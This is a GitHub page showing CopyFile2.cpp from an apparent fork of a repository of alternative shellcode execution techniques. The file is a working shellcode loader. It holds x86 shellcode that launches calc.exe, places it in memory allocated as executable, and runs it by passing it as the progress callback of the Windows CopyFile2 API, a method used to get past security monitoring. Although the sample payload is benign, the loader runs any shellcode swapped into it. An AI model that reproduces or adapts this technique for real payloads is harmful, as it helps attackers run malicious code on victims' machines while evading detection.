forked from xiecat/AlternativeShellcodeExec-Go
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathCopyFile2.cpp
More file actions
49 lines (33 loc) · 1.42 KB
/
Copy pathCopyFile2.cpp
File metadata and controls
49 lines (33 loc) · 1.42 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <windows.h>
#include <stdio.h>
#include <dpa_dsa.h>
int err(const char* errmsg) {
printf("Error: %s (%u)\n", errmsg, ::GetLastError());
return 1;
}
// alfarom256 calc shellcode
unsigned char op[] =
"\x55\x8b\xec\x83\xec\x20\x64\xa1\x30\x00\x00\x00\x8b\x40"
"\x0c\x8b\x40\x1c\x8b\x00\x8b\x00\x8b\x40\x08\xc7\x45\xfc"
"\x00\x00\x00\x00\xc7\x45\xf8\x00\x00\x00\x00\xc7\x45\xf4"
"\x00\x00\x00\x00\x8b\x58\x3c\x8d\x1c\x03\x8b\x5b\x78\x8d"
"\x14\x03\x8b\x5a\x1c\x8d\x1c\x03\x89\x5d\xfc\x8b\x5a\x20"
"\x8d\x1c\x03\x89\x5d\xf8\x8b\x5a\x24\x8d\x1c\x03\x89\x5d"
"\xf4\x8b\x7a\x18\x33\xc9\x8b\x75\xf8\x8b\x1c\x8e\x8d\x1c"
"\x03\x8b\x1b\x81\xfb\x57\x69\x6e\x45\x74\x03\x41\xeb\xed"
"\x8b\x5d\xf4\x33\xd2\x66\x8b\x14\x4b\x8b\x5d\xfc\x8b\x1c"
"\x93\x8d\x04\x03\xeb\x09\x63\x61\x6c\x63\x2e\x65\x78\x65"
"\x00\xe8\x00\x00\x00\x00\x5b\x83\xeb\x0e\x6a\x05\x53\xff"
"\xd0\x8b\xe5\x5d\xc3";
int main() {
LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
::RtlMoveMemory(addr, op, sizeof(op));
COPYFILE2_EXTENDED_PARAMETERS params;
params.dwSize = { sizeof(params) };
params.dwCopyFlags = COPY_FILE_FAIL_IF_EXISTS;
params.pfCancel = FALSE;
params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)addr;
params.pvCallbackContext = nullptr;
::DeleteFileW(L"C:\\Windows\\Temp\\backup.log");
::CopyFile2(L"C:\\Windows\\DirectX.log", L"C:\\Windows\\Temp\\backup.log", ¶ms);
}